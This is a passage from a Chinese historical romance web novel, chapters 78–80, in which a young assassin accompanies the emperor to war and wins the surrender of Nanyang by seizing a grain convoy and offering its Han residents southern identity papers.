实在拿他没办法,殷奂只能应允:“那你同我一起去。” 不让赢秀跟在他身边,还有一个原因,他怕自己临死前,会拉上赢秀,生死相随,正好应了灯笼祈福纸上那句——永远和谢舟在一起。 倘若真有那么一日,他会尽力克制。 赢秀还那么年轻,还是个尚未及冠的孩子。 总算得到承诺,赢秀高兴得亲了帝王一口,柔软的唇瓣擦过对方的面颊,迅速分开。 他不贪多,只亲一下下。 殷奂眸光微动,清冷幽寂的神色罕见得出现了一丝变化,哑声道:“真到了寡人将死的时候,你千万不能做这种事。” 不要主动亲他,这是很危险的。 第78章 第 78 章 幄帐悬灯 在赢秀的软磨硬泡之下, 殷奂不得不答应他一同出征,花了几日打理好朝政,收拾好箱笼物什。 永宁四月初八, 帝王的卤簿浩浩荡荡地驶出了建康城的大司马门。 官道穿山而过, 四面皆青, 天地一新, 一路还算坦途。 往日赢秀坐马车,最爱拨开纱幰, 趴在窗牖上看外边的景色, 如今他却坐得好好的,手执狼毫, 凝神查看手中的卷轴。 这上面记录的都是历年来,南北两朝之间大大小小的战事,包括几十年前羌人乱华,北方兵乱频频, 中原衣冠为了避祸不得不南迁。 少年盯着卷轴看了好几日还不肯放下,坐在他一旁的帝王收起手中的军报, 侧眸看向他。 赢秀对他的注视毫无察觉,还是认真地研究两朝军情。 见此,殷奂不得不开口:“等到了江北,你好好待在竟陵郡, 寡人要去襄阳。” 竟陵郡毗邻襄阳, 同样位于永水上,前者偏南,靠近江州,后者位于边关,隔着长江北直接与北朝对峙, 称得上是南朝的门户之地。 如果说竟陵郡还算安全,那么襄阳便是绝对的危险。 赢秀“哗”地一声卷起卷轴,抬眸直视帝王,少年似乎在这方面异常得固执:“我要陪着你。” 车厢内,帝王低覆长睫,眼帘帷垂,居高临下,静静地凝视他,语气冷静得可怕:“寡人不需要。” 战场上,他不需要赢秀。 答应带赢秀一同出征,于他而言,已是出格。 不再刻意收敛,帝王的气势强硬而淡漠,湛若冰玉,森冷可怖,难以言喻的压迫感几乎能叫人窒息。 赢秀也有些紧张,他深深吸了一口气,握住手里的卷轴,仿佛要从中汲取一些力量。 “你不需要我,那你把马车停下,我现在就走。” 少年语气认真,不像是赌气,反倒是真的要离开他。 帝王凝望着他,深沉漆黑的眸光几乎要让人溺毙其中,眸底黑得透不进一丝光,“你要走?” 帝王语调平静得没有任何起伏,清凌凌,如寒泉响石,却让赢秀绷紧了脸,心脏跳得厉害。 “你都不需要我了,那我不走,还留着做什么?”说到最后一句话,赢秀的嗓音都有些湿润,像是喉咙里堵了一团湿棉花,不上不下,难受至极。 帝王伸手,拂去赢秀眼角的泪,那张昳丽殊绝的脸上难得出现了无奈,再三提醒他:“你跟着寡人,可能会死。” 死在沙场乱兵之中,或者…… 死在他手上。 赢秀不理他了,转过头,弯腰从一旁的箱笼里寻找着什么,片刻后,他恶声恶气地叫殷奂把手伸出来。 帝王依言伸出手腕,下一刻,少年“咔嚓”一声把一个东西扣在他手上。 金光闪闪的,是一道金链。 赢秀把这东西从太极殿带了出来。 赢秀才不管殷奂如何作想,他掏出另一头,又是“咔嚓”一声,锁在了自己手上。 “这下你别想再丢下我了!”少年恶狠狠地说。 张牙舞爪的,不像是金鹤,倒像一只炸毛的虎崽子。 殷奂几乎凝固在赢秀身上的视线终于动了,缓缓移开眸光,一寸寸向下,俯视着手腕的金链,如果他没猜错,这是赢秀最喜欢那一条。 ……他该拿赢秀怎么办。 ——毫无办法。 帝王卤簿从京师出发,前往荆州襄阳,途径江州,赢秀卧在马车里小憇,却听见前方传来动静,声音不大,像是有人拦路。 他睁开眼,坐起身,揭开面前的车帷,往外看去,街道两侧围着身着布衣的百姓,里面不乏熟悉的面孔——是涧下坊的百姓。 还不等赢秀发问,随行的官兵低声对赢秀解释:“他们说要见瘐坞主的遗孤。” 赢秀眸光微动,探出身子,示意官兵退开,“你们在找我么?” 前方正熙熙攘攘,少年清朗的声音打断了喧闹,百姓们的目光越过重重玄光明甲的官兵以及舆从羽葆,落在赢秀身上。 视线碰撞,赢秀看见了他们眸底闪动的泪光,他转过身,对车厢里的殷奂道:“我想和他们说说话。” 正在批阅军报的殷奂停下动作,悬笔未落,神色淡淡,不置可否。 赢秀见状,仰头快速地亲了亲他,“就一下,半刻钟,我去去就回。” 殷奂搁下尤在滴墨的朱笔,目光幽暗。 …… 一炷香后,江州最高的阙楼上。 楼内冷冷清清,寂静无声,满楼皆是环卫的官兵,还有十几位涧下坊百姓,赢秀与他们围案而坐,一如从前。 其中小长安的娘亲也在,她用一种前所未有的目光看向赢秀,眼眶红红的,像是随时都会哭出来。 “当年,坞主从乱军中救了我,一路带着我南迁,那时有人说我是累赘,坞主狠狠骂了他,还主动让我先登船,给我粮食吃。那年我才十岁,一晃都这么多年了。” 十岁那年瘐坞主从羌兵手下救了她,这么多年过去,坞主的遗孤又救了她一次。 妇人眼中含泪,从袖中取出一物,是一件长条包裹。 “这是坞主死前交给我的东西,叫我好好保管,似乎是一副画,至于究竟是什么,连我也不知道。” 赢秀接过那副画,久久没有回神。 一旁,涧下坊的百姓望着他,态度坚定:“我们要和您一同从军。” 当了这么多年的佃奴,他们差点忘了,十四年前,他们还是威风凛凛的瘐家军。 能叫羌人闻风丧胆,打得这帮狄戎屁滚尿流! 赢秀捧着画册的手顿住,抬头,环视他们,扫过一张张黢黑朴实的面孔。 短裾粗袴,布衣陈旧。 对于赢秀要收这群百姓一并从军的决定,帝王是不同意的,这些人在后方当伙夫还行,上战场杀敌,岂不是送死? 更何况,此行皆是水师精锐,无论将这些人安排在哪一处方阵,只怕都不足以服众。 赢秀只道:“你交给我安排,我会保护好他们,”他想了想,又加了一句话,“也会保护好自己的。” 其实,他还有一句话没说。 ——赢秀会保护殷奂。 面对赢秀,帝王一向毫无办法,他只能点头颔首,随赢秀去了。 左右也是小打小闹,在战场上掀不起风波。 赢秀打开那副画册,细细端详,这似乎是一副寻常的千里江山图,画着绿水逶迤,青山连绵,尘封的颜色几乎褪尽了,斑驳一片,看不出有何异样。 瘐安留下此图,必定藏有秘辛。 只是不知,究竟要如何才能解开真意…… 卤簿还未到荆州,又传来新的军报,宁州巴郡失陷,为北朝所据。 巴郡与瞿塘关相隔千里,前阵子瞿塘关被凿,南朝百姓还以为北人盯上了瞿塘关,谁承想,一转头就攻下了宁州的巴郡。 巴郡地处平原,地势宛如一个倒扣的盆,易攻南守。 赢秀和殷奂相视一眼,皆在对方眼中看见了相同的情绪。 与此同时,宁州巴郡,世子立在城楼上,高声命令副官,“你快给父王传信,就说,王道傀说的都是真的。” ——宁州巴郡,远离京师,边防薄弱,易攻难守。 只是,这城中的百姓跑得也忒快了些,就跟兔子似的,等他们攻进来时,此处已经成了一座空城。 要不是粮食和金银都没有带走,他甚至怀疑这些人早有预备,提前得知了他们要攻城的消息。 “要不要现在把城中粮食分一分,分给底下的手足?”副官问道。 “可——”世子刚要随口应允,想了想,“这些南人狡猾奸诈,先不用他们留下的粮食,到时候抓几个南人,用他们试毒。” 短短几日,北朝攻克宁州巴郡的消息已经彻底传开了,坊市长巷内,人人自危,惶恐不安。 紧张焦灼的氛围并没有传到赢秀身边,他正在学着排兵布阵,殷奂给他派了一位龙骧将军帮忙筹划安排。 赢秀不懂行军,但是他知道,该放权让懂的人去做。 这位龙骧将军也不出他所望,短短数日,把数百位涧下坊百姓编排得整整齐齐,形成了一队方阵的雏形。 临时驻扎的营地上,天光下,帝王走出马车,一眼便看见不远处赢秀正在认真地倾听龙骧将军的话,不时点点头,大声夸赞那位将军。 夸得那位年过半百的将军挠着头嘿嘿直笑,青涩得像个少年。 帝王不露痕迹地皱了皱眉头,近来国务繁忙,他又要调配边关传来的军情,又有处置京师送来的要务,着实腾不出空。 若是他自己有空,又岂会让别人接触赢秀。 赢秀一转头,看到立在马车旁的殷奂,一身缁色袨服劲装,披着明甲,绣着金鹤的箭袖笔挺,膝上垂着蔽膝,更显腰窄腿长,高峻巍然。 ——高悬明月,化作一柄修长寒刃立足世间。 在自我管理之下,赢秀已经很少脸红了,但这一回,他再一次感受到面颊微微发烫,心脏剧烈跳动。 同样穿着铁甲的少年刺客慢慢朝帝王挪了过来,仰起头,眼眸闪闪发亮,望着对方。 第79章 第 79 章 荆州之战 帝王伸出指尖, 轻轻地碰了碰赢秀的长睫,少年的乌睫细软纤长,一绺绺, 蜷在他掌下。 指缝间, 少年的眼眸亮晶晶, 明亮粲然, 清晰地倒映着他的影子。 “……好了,”殷奂仿佛被什么烫到一般, 骤然收回手, 低声道:“过了这个关口便是荆州了。” 荆州,位于长江上游, 乃是江左腹地,古来兵家必争之地,一旦失陷,北朝便可顺流而下, 直取南朝京师。 赢秀站在山道上,俯瞰底下的荆州, 城楼上连绵的瞭望台几乎与天齐平,红色的旌旗宛如一个个小点,在风中招展。 他收回视线,跟着卤簿一路往下, 荆州治所位于襄阳, 州牧早早得到消息,大开襄阳城的阳春门,官兵黑压压地列队在两侧,恭候天子圣驾。 卤簿浩荡而来,宛如一条被甲的长龙, 齐整有序地进了城,停在城中央的昭明台。 昭明台足有三层,巍峨雄伟,赢秀被引到最高层下榻,与天子同塌。 他新奇地走到凭栏外,望着这座被誉为江左军事要地的城池,远远眺望,还能看见南面的天色鳞鳞,泛着点点星光。 那不是天色,是长江。 由于长江辽阔无垠,一眼望不到边际,看上去就如同和天穹融为一色,澄澈清白。 ——江流天地外,山色有无中。① 赢秀还是第一次见到长江,他忍不住看了又看,原来,这就是南北两朝相隔对峙的天堑。 不似分割两地的利刃,反倒像柔软绸缎,平铺在天地间。 “郎君,陛下有命,让您去中军帐。”宫人低声对赢秀道。 中军帐,是主将讨论战略方策之地,朝廷机要,不容外人窥探。 赢秀一无官衔,二无履历,本不该进这样的地方。 他对这些不成文的规矩一窍不通,听闻殷奂叫他去,便跟着宫人来到中军帐,帐内众臣眼睁睁看着他走进来,沉默片刻,什么也没说。 这位可是陛下放在心尖上的人,谁敢多说他一句。 坐在首位的帝王朝赢秀招了招手,金裳少年乖乖走过去,坐在他身侧的空位上。 武将们说的暗语和行军策略,赢秀没怎么听懂,只是盯着沙盘发呆,等到他们讲完了,也不曾回神。 武将也不指望他能说什么,毕竟,像这种以色侍人的幸臣,没闹出什么幺蛾子就算是谢天谢地了。 “赢秀?”等到人走后,帝王轻声唤他,连唤了两声,赢秀才如梦初醒,抬头左右张望,“他们怎么都走了?” “散朝了,”帝王解释道,“你可是看出了什么端倪?” 赢秀站起身,拿起乩笔,虚虚在沙盘上比划,分别点了点三条河流,西汉水,永水,钶水,与之对应的是三座要地,宁州巴郡,荆州襄阳,京师寿春。 “眼下北朝世子沿着西汉水攻克巴郡,其余两条河流还未有动静,但是,他们下一个目标应当是寿春。” 擒贼先擒王者的道理也适用于兵家谋略,寿春北近北朝的扬州下邳,南临南朝的建康京师,对北朝而言,可谓是近水楼台先得月。 一旦攻下寿春,南朝京师便是探囊取物。 “你不必担心,寡人已经安排了五校尉和中军镇守京师。”帝王道。 政客,自该深谋远虑,赢秀考虑到的,他早有准备。 “我想去寿春一趟。”赢秀陡然道。 瘐家军皆是出身寿春,寿春如今的坞堡壁垒还是他们当年修建出来的,对那里再熟悉不过。 帝王没有立即反驳他,凝视他许久,轻声问道:“你想要用什么身份去?” 随侍的男宠,将军的遗孤…… 亦或者,南朝的皇后? 这个问题把赢秀问住了,少年愣了好半天,道:“我听说,先登之功可以封为万户侯,我不要万户侯,我要你封我为千夫长。” 先登之功,第一个登上敌城云梯叫做先登。 云梯上,随时面临着热油,长枪,矛戈箭镞…… 带赢秀到边关,已经是再□□步,怎么可能让他上沙场杀敌? 帝王冷声道:“寡人现在就可以封你当千夫长,你想上沙场——”他一字一句道:“不可能。” 刺客与将军不同,刺杀本就极度危险,上阵杀敌,攻城略地,那更是危险中的危险。 “你相信我,”赢秀道:“我可以的。” 少年的神色从所未有的坚定,眼眸中的微光如星如月,明亮,耀眼。 直觉告诉赢秀,只有去到寿春,他才能解开那副千里江山图的秘密。 “倘若,”帝王盯着他,平静温和的目光像是剑锋上的寒光,锋利冰凉,“寡人就是不同意呢?” 没有他的允许,别说去寿春,赢秀就是想踏出昭明台一步,只怕也不能够。 “难道你希望,南朝的皇后是一个懦弱无能,只知道躲在天子荫蔽下的笨蛋吗?” 赢秀大声道,他压根不管帐外会不会有人听见,恨不得和帝王吵起来。 没想到他会拿这个说事,帝王眼睫轻颤,冰凉眸光泛起波澜,沉默片刻,终于退让:“东豫州南阳,倘若你能攻下,那便去吧。” 北朝水师兵分三路,一路沿沔水南下,东豫州位于淮水,恰好不在北师行军的路线上,比起荆州要安全得多。 南阳隔江与南朝接壤,百姓多为汉人,是当年没能跟着华北衣冠南迁到江左的中原人,比起羌人,又少了一重危险。 更何况,南阳与寿春同在淮水上,攻下南阳,一路沿着淮水再可到达寿春。 短短一瞬间,胜与不胜,帝王早已替赢秀筹谋好进退。 “寡人拨三千水师给你,一月之内,若是攻不下——”帝王略微停顿,语气放缓了些,“好好回来。” 回到他身边,从此,这些危险的事情不必再提。 赢秀听懂了他言外之意,他也知道,殷奂已经是屡屡退步,字字句句,都是在替他考虑。 “殷奂……你最好了,” 金裳少年踮起脚尖,靠近帝王冰凉森寒的铁甲,贴了上去,摸索着他的唇,青涩而张皇,带着某种献祭般的虔诚。 抬手,轻轻制止他的吻,帝王神色深沉幽暗,平静而克制,“等你回来。” 其实,方才赢秀问出那一句话时—— 他很想点头,告诉赢秀,他希望赢秀是他掌中的鸟雀,柔弱无依,只能依附他而生。 与他同生,与他共死。 ……除此之外,别无他选。 赢秀取出南阳的舆图,盯着上面的地势布局看了又看,隔着一道长江天堑,水师必须乘坐楼船渡江。 然而楼船显眼,只怕还未靠岸,便被南阳楼橹上的射手箭士射成了筛子,用石块砸破了船身。 还未靠岸,便会船破人亡。 思索片刻,赢秀走出中军帐,对外面的官兵道:“谁会唱歌?” 能够驻守天子中军帐的无一不是万里挑一的将帅之才,武功谋略皆是人中龙凤,可是唱歌吟曲这一项—— 他们面面相觑,心想,这位幸臣怕不是要找人唱歌给他听? 看在天子的份上,还是有人颤颤巍巍地举起了手,“我会!” 出人意料的是,赢秀要他们唱的不是什么淫词艳曲,而是昔年魏帝流传的《燕歌行》。 这首七言歌谣,几乎所有汉人都听过,从小听到大,无比熟络。 “……群燕辞归鹄南翔,念君客游思断肠。慊慊思归恋故乡,君何淹留寄他方?”② 这几日,这首歌谣传遍了昭明台。 是一些低阶伙头兵唱的,不算好听,甚至有些走调,数道声音重叠在一起,却格外低沉悠远,有一种说不出的情怀。 几位将领走出中军帐,侧眸看向声音来处,走远几步,走到无人处,低声道:“也不知这人究竟要做什么,难不成想效仿项王军壁垓下时,四面楚歌的情景?” “也不想想,如果当真有用,何至于东豫州南阳还沦落在羌人十几年。” 他们互相对望,皆从对方眼中看见了“少年轻狂,还是过于无知了。”的叹息。 这边伙头兵在唱燕歌行,赢秀正在舆图上比划,南阳的补给大多来自江上渔业,以及后方的漕运。 如今两朝交兵,水师横行,民间捕鱼为业的船只不敢再出海,如此一来,便断了水上补给。 只剩下后方漕运,然而南阳四面环山,向南开口,从这条关口经过官道输送粮食。 项王军壁垓下,兵少食尽,方觉四面楚歌之悲。 赢秀用指尖点了点那条官道,眼眸锐利而平静。 一月之内,攻下南阳。 昭明台上,少数得知赢秀要带兵攻城的将领对此忧心忡忡,前阵子两朝演兵,赢秀在玄武湖打败羌兵,他们都有目共睹。 不得不承认,赢秀的武功和轻功确实已臻至境,但是,行军打仗拼的是谋略城府,可不是蛮力武功。 他们只盼着这位南朝未来的皇后,不不要拖累了行军才是,倘若胡作非为,自作主张,酿成更大的祸端,那就麻烦了。 日子一日日过去,转瞬已是来到荆州的第五日,伙头兵还在帐外唱着燕歌行,声音低沉悠远。 “……慊慊思归恋故乡,君何淹留寄他方?” 第80章 第 80 章 千里江山图 翌日, 北朝有消息传来,运粮的漕辇即将经过官道。 赢秀整顿好人手,来到中军帐, 想要和帝王告别, 这是他头一次领兵上阵, 未免有些紧张。 “殷奂, 我要走了,” 少年伸手揭开军帐, 探进一个脑袋, 天光随之倾泻,像是披了一层淡色的纱幰。 金色发带垂在发间, 柔软,张扬。 坐在昏暗处中的帝王眼眸微抬,漆黑瞳孔微微一缩,迎着刺目天光, 没有眨眼,任凭光落进他的眼中。 “赢秀, ”帝王平静隐忍的声音仿佛在压抑着什么,尾音低哑,似乎有许多想说的。 最终,他只是道:“平安回来。” 他锁不住赢秀, 只能祈求他平安回来。 赢秀随意朝他摆了摆手, 笑容灿烂,没心没肺,“我今晚就回来!记得给我留饭!” 说着,他收回手,放下军帐, 厚重的帛毡随之合拢,只剩下少年高挑峻拔的影子还投在军帐上,发带轻轻晃动。 渐渐地,走远了,看不见了 帝王缓缓垂下长睫,神色恢复了一贯的平静。 徒留中军帐内的朝臣坐立不安,小心翼翼地窥着陛下的脸色。 ……唉,这都是什么事! 酉时,日落长江,天地一昏。 荆州渡口外的莽莽蓬蒿中,卧着两叶艨艟。 赢秀带着覆面,腰后悬剑,静坐在船舱内,身旁围坐着十来个涧下坊的百姓,皆是青壮,面带覆面,身被软甲。 等到霞光落尽,暮色四合,夜色溟濛笼罩江面,赢秀轻轻做了个手势,两叶艨艟,不到三十个人,趁着夜色在江上疾行。 起雾了。 幸好撑船的艄公渡河数十年,经验丰富,很快便带着他们横渡长江,达到南阳郡的边际。 昏天黑地里。 守堤巡江的北朝士兵在船上点起灯,忍不住用羌语低骂了一声:“见鬼了这天气,什么也看不见!” “慌什么,那群南人总不可能在这个天气进犯我朝,只怕船还没靠岸,便迷路淹死在汉江上了。”同僚笑他一惊一乍。 就在距离他们不远之处,赢秀一行人悄悄靠了岸,艨艟藏在一片草木葳蕤下。 赢秀只知道今夜运送粮食的漕辇会经过官道,却不知道究竟到了何处,所幸,鸱鸮是一只贪吃的鸟,能嗅到粮食的气味。 一路跟着鸱鸮,在榛莽山道上疾行,总算看见了底下平坦的官道。 官道上有灯影晃动,漕辇正在朝这边驶来。 粗略估计,对面至少有上百个护送漕辇的押粮兵。 赢秀伏低身子,缓缓抽剑,对一个擅长刺杀的刺客而已,抢劫应当更容易一些。 半刻钟后。 押粮官面色苍白,举着双手,颤颤巍巍地质问:“你们想要干什么?!这不是部曲的辎重,这是百姓的粮食啊!” 抵在他颈边的剑锋一顿,赢秀侧眸看向漕辇,足足一座城池的糒米,不是两叶艨艟能带走的。 随行的士兵看向赢秀,那意思不言自明,带不走,只能毁掉,不然,他们此行将毫无意义。 赢秀在书上读过,彼时运送粮食,水路不通,才会转漕陆路,改用漕辇。 赢秀没有理会士兵的暗示,冷静问道:“你们的漕船呢?” 押粮官脸色苍白如纸。 替敌国运粮,这是夷九族的大罪啊! 他刚想说,你杀了我吧,那位面带银白覆面的少年却偏开剑锋,惋惜道:“南阳所居大多都是汉人,我也是汉人,天下同胞,何分南北。本想借用一下粮食,过几日便还。” 他停顿片刻,叹息,“既然带不走,全烧了吧。” “好嘞!”士兵取出火折子。 赢秀随意转回剑锋,横剑在押粮官颈侧,缓慢深入。 “这些人,一并烧了。” “……等等!” 押粮官大喊一声,只要不死,尚有转圜之地,倘若被活活烧死,那就什么都没了。 何况……他也是汉人。 天下同胞,何分南北。 …… 亥时。 距离酉时已经过去了五个时辰,昭明台的烛火彻夜亮着,膳食置于铜炉上,用小火慢慢煨着。 炉底明灭的火光映在楼台内,磷火飘忽,光影落在帝王的衣摆下,缁色敝膝上的九爪金龙也随之变幻光泽。 一旁的将领小心翼翼道:“陛下,夜色已深,还是早些歇息,保重龙体为好。” 帝王没有回应,对此,只是轻轻掀眸,淡淡乜了他一眼。 将领瞬间噤声,悄无声息地退下。 那位幸臣说今晚回来,也不知究竟是什么时候,怕不是陷落在北人的地盘上,还要他们去救…… 长夜中,一片寂阒。 木质悬梯上骤然传来噔噔噔的脚步声,少年脚下踩着风归来,“殷奂,我回来啦!” 哗啦一声,槅门骤然敞开。 月光下,赢秀还穿着去时的黑衣,银白覆面斜斜别在鬓边,露出神秀眉眼。 几位跽坐在殿内等候的将领刚要发问,却被赢秀先发制人:“我让龙骧将军帮忙看船,你们派个人帮帮他。” ……看船? 那两叶艨艟也需要看吗? 诸位将领面面相觑,再看陛下神色,连忙起身离殿。 “好饿!”这是赢秀归来说的第三句话,临行前他带了一些糗饼,但是数量不多,也只够填个半饱。 在漕船上忙活了一通,制服了想要临时反水的押粮官,把刚吃下去的两块糗饼都消化完了。 帝王起身,安静地看着赢秀用膳,什么话也没问。 赢秀一面嚼嚼嚼,一面想向殷奂解释,却被对方制止,“你好好用膳。” 帝王眉眼透着冷峻,分明神色平静,语气也温和,却让赢秀有些害怕,像是被扼住颈子的鹤,“哦”了一声,乖乖低下头,认真用膳。 赢秀努力地用完膳,这才开口解释:“我把南阳漕运的船劫来了,就停在江面上。” 打劫漕运,在少年口中显得轻描淡写。 “对了,还得准备一些空白的符信,越多越好。”赢秀道。 符信,南朝人的身份证明,每个南朝人在出生后,父母亲长都会替其在官府上办好符信。 没问赢秀要空白符信做什么,帝王吩咐下去,一句话,便将赢秀要的东西全部准备妥当。 更漏点滴声响起,子时已过。 “如今是第七日了。”帝王平静地提醒。 距离他们约定的时间,还剩下二十三日。 赢秀笑了一下,笑容里带着狡黠,清澈明亮的眼眸弯如月牙。 盯着他的笑容看了片刻,帝王拉过他的手,眸光冷肃,自上而下,一寸寸舔舐,“有没有受伤?” “我这么厉害,当然没有了,”赢秀语气轻快,满不在乎,他甚至撸起袖子,露出胳膊上白皙的肌肤,在殷奂面前晃了晃。 没有新伤,只有淡得几乎看不见颜色的旧伤。 有几道伤得深,痊愈后疤痕微微隆起,一点细小的起伏。 赢秀忽觉身上一凉,仿佛有什么冰冷的东西轻轻点在肌肤,像玉,又像是冰,一瞬间,浑身酥麻。 他低下头,发现帝王伸手轻点他的伤疤,目光中没有好奇,平静得像是深谭,看不清眸底的情绪。 “这个不好看,”赢秀连忙拉上了袖子,不让殷奂看。 帝王没说话,当着他的面,在烛光下解下铁甲,腰间的钩带,敝膝,露出腿上的伤疤。 狰狞,恐怖,扭曲地卧在膝上。 如同美玉有瑕,白瓷生裂,突兀怪异。 赢秀一下愣住了,他伸出手,悄悄地摸了摸那道伤疤,眼里满是心疼,这伤疤像是劈的,又像是砍的,究竟是谁伤了他的殷奂? 少年低着头,帝王轻轻抚摸他的头发,从鬓发到马尾,力道不轻不重。 这道伤疤是多年前的旧事了,那时先帝服散过多,神智疯魔,记忆里只剩下他毕生最爱和最恨的两个人。 他最爱的是发妻谢嫱,最恨的是率兵南下,霸占长安,让他不得不离开故土,流离江左的老羌王。 先帝一身道袍,身形似鹤,时常拿起剑,乱劈乱砍,眼睛发红,口中喊着滚出长安,滚出中原。 上一刻还在唤梓童,下一刻便举剑劈砍。 ……所幸,他已经死了。 帝王眸色幽冷,从回忆中清醒。 赢秀还在低头摸索着他的伤疤,动作小心轻柔,嘴里恶狠狠地骂着:“是谁伤了你?我去把他打一顿打得他哭爹喊娘看他还敢不敢!” 少年大约是气急了,语气又快又急,没有半点停顿,面颊也泛着红,从腮边红到耳垂,眼睛里都是熊熊燃烧的怒火。 “……人已经死了,”帝王轻声安慰他,语调平静得诡谲,令人不寒而栗,轻描淡写:“药石无医,溃烂而死。” ……听起来死得很惨。 赢秀的怒火骤然平息,继续摸了摸那块狰狞的伤疤,突然想起一处细节,小心问道:“我之前坐在你腿上,你这里会疼吗?” 他喜欢跪坐在对方腿上,仰头亲吻,这样就不必垫脚,省力许多。 本以为殷奂要么说疼,要么说不疼,谁知他却轻轻道:“……想不起来了,” 停顿一刹,帝王又道:“试试就知道了。” 烛火明灭。 少年挪动身子,屈膝,跪坐在男人腿上,恰好压住了那道伤疤,仰起修长的颈项,努力地贴近…… 亲到最后,不必殷奂开口,赢秀便知道了答案——对方根本就不疼了。 现在,疼的是他。 捂住被咬得发红的唇,赢秀舌头肿痛,恨恨地瞪了殷奂一眼,下次再卖可怜,他可就不吃这套了! 第二日清晨,天蒙蒙亮。 停泊在江面上的漕船吸引了无数人的注意力,这所船是北朝的行制,又恰好停在江心上,背靠荆州,距离豫州不远。 尤其是悬挂在船身外的粮袋,鼓鼓囊囊,几乎都能想象到里头满满当当,宛如脂膏的白米。 不少荆州将领都不能理解此举,收缴了敌国的粮食,这是好事,不得快快收进仓禀,免得被北朝抢回去。 如今放在船上,置于江心,这不是明晃晃地对北朝人说:“你们快来抢啊!” 赢秀立在襄阳城最高的楼橹上,此处可以清晰地看见汉江,以及江面上的漕船。 涧下坊的百姓,不,应当称作瘐家军的将士,他们低声问赢秀:“他们真的会来吗?” 南阳的百姓,真的会来吗? 漕船上空无一人,无人值守,只有挂在船外的粮袋,一看就是诱饵,当真会有人上当吗? 赢秀没有解释,只是道:“等着吧。” 他算过了时间,此刻的南阳郡应当只剩下不到半月的粮食,北朝即使重新拨粮,或者从临近的郡县送来,山长路远,只怕也没有那么快能送到。 时间一晃半月,转瞬来到了第二十四日,距离赢秀和殷奂约定的时间还剩六日。 算算日子,南阳城应当断粮了,伙头兵也已经在营地里练了二十几日的燕歌行。 赢秀低声对他们吩咐了些什么,伙头兵点点头,乘着轻舟短棹,到江心唱歌。 “……群燕辞归鹄南翔,念君客游思断肠。慊慊思归恋故乡,君何淹留寄他方?” 看着江上士兵穿着布衣,一面唱歌,一面生火炊饭,炊烟随着烟波升起的场面,南朝的将领摇了摇头,着实不明白赢秀到底在做什么。 如此故弄玄虚,也不知究竟意欲何为。 不光是他们,就连汉江对面的南阳城上,羌人将士也是不解:“这些人在唱什么呢?” 他们听不懂燕歌行,却看得见袅袅炊烟,忍不住咽了一口唾沫,近来城中断粮,仅剩的粮食全部都供给城中权贵了,就连他们这些小兵都过得紧巴巴的。 羌人都是如此,更别提底下的汉人百姓了。 饿着肚子又捱了两日,终于有人受不住,趁着夜色,悄无声息地坐船靠近漕船。 彼时天色已晚,划着轻舟短棹出来唱歌炊饭的南朝人都已经归去,岸边还剩下他们炊好的饭菜。 ……香气扑鼻,就像一个陷阱,带着致命的吸引力。 北朝百姓腹中饥饿到极点,谁也顾不得陷阱不陷阱,几人登上漕船卸米,几人上岸拾起饭菜,转身便要离开—— “诸位,”金裳少年神秀眉眼弯弯,笑意盈盈,“来都来了,不如坐下详谈?” ——果然是陷阱! 百姓们你看看我,我看看你,都从对方眼中看见了一模一样的想法。 留在船上看守的汉人见势不妙,思及岸上只有金裳少年一个人,连忙划船上前相助。 片刻后。 百姓们灰头土脸,全部老老实实地坐在炊烟旁,眼巴巴地望着伙头兵们炊饭,冷却的膳食经过热气一炙,冒出比方才还要诱人百倍的香气,勾得人直流口水。 “你们是汉人吗?”赢秀问他们。 百姓不吭声,只是点头,继续眼巴巴地望着粮食。 “你们是南朝人,还是北朝人?”赢秀问到了关键之处,百姓们明显紧张了不少。 他们从前都是南朝汉人,当年羌人犯禁,攻入长安京师,宗室和华北衣冠一同南迁之际,他们由于种种原因,或是有所羁绊,或是无力迁徙,留在了北方,成为了被羌人统治的北朝百姓。 “我们是汉人,也是南朝人,可是我们已经回不去了。”终于有人大着胆子说出了这句话。 他们家中但凡有老人,无一不是日盼夜盼,只盼着汉室光复,举兵归来,南北归一,天下一统。 他们这些小辈耳濡目染,也受了些影响,可是生活在羌人统治下十几年了,哪有那么容易回归南朝? “我准备了符信,有了符信,从此以后你们便是南朝的子民,受南朝庇护,免于战火。”赢秀取出早已准备好的空白符信,递给他们。 百姓迟疑着,谁也没有主动接过。 赢秀屈身将符信放在干净的地上,对百姓道:“这船粮食是民粮,我还给你们,你们大可自行取走。还有这些饭菜,你们也带走吧。” 百姓们愣愣地看着他,道了一声谢,迅速拾起饭菜,转身离开。 看着他们登上漕船,取走米袋,赢秀一动不动,一张一张,慢慢地拾起地上的符信。 回到襄阳郡后,营地中有人低声议论:“辛辛苦苦收缴了粮食,又还给北朝,真想不明白他是怎么想的。” “谁知道呢,没惹出什么麻烦就不错了。” 是几个碎嘴的小兵,一位将领见此连忙走过来,高声训斥了他们一顿,“他也是你们能议论的?滚下去受罚!” 纵使如此,将领心中也有些犯嘀咕,他也想不明白赢秀大费周章,又是命人唱燕歌行,又是劫粮还粮,究竟是要做什么。 距离约定好的一个月,只剩最后三日。 这几日以来,赢秀都守在楼橹上,从这个角度望去,能看见汉江。 江面上,伙头兵照旧唱着燕歌行,轻舟短棹,一切如常。 ——忽然。 对面江上出现了两只艨艟,不像是前来刺探或者进攻的,一旁的将领忧心忡忡,“要不要放箭?” 守城将侧眸看了赢秀一眼,很显然,这位并没有要放箭阻拦的意思,思及对方的身份,他只能沉默不语,任由那两只艨艟渐渐靠岸。 这是第一次,也是最后一次,一旦因此出了什么差错,他必定要在陛下面前告上一状。 那两只艨艟越靠越近,远远传来歌声: “秋风萧瑟天气凉,草木摇落露为霜。群燕辞归鹄南翔,念君客游思断肠。慊慊思归恋故乡,君何淹留寄他方?” 这么晚了,派出去唱歌的伙头兵已经回来了。 ——那么,是谁在唱歌? 将士们对视一眼,眼中一闪而过惊愕,是北朝的百姓在唱歌。 眼见艨艟已经靠岸,守城士兵连忙前去查看,片刻后,折返归来,高声道: “南阳归降!” 时间退回至赢秀让北朝百姓取走粮食那日,百姓们兴高采烈地驮着米袋,驾驶着漕船靠岸。 刚回到南阳城下,迎接他们是羌人的严刑拷问。 城中权贵反反复复地拷打,逼问: “你们是不是和汉人里应外合,偷窃漕辇? 羌人本就瞧不起汉人,权要本就瞧不起庶民,一旦有了怀疑,罪名便已经扣在他们头上。 南阳城中的汉人被严密管控,汉江上传来的燕歌行令羌人越加不安,一步步紧逼,收束,仇视。 百姓待在天牢里,再次想起了金裳少年朝他们递来的符信—— 回来吧,回到南朝。 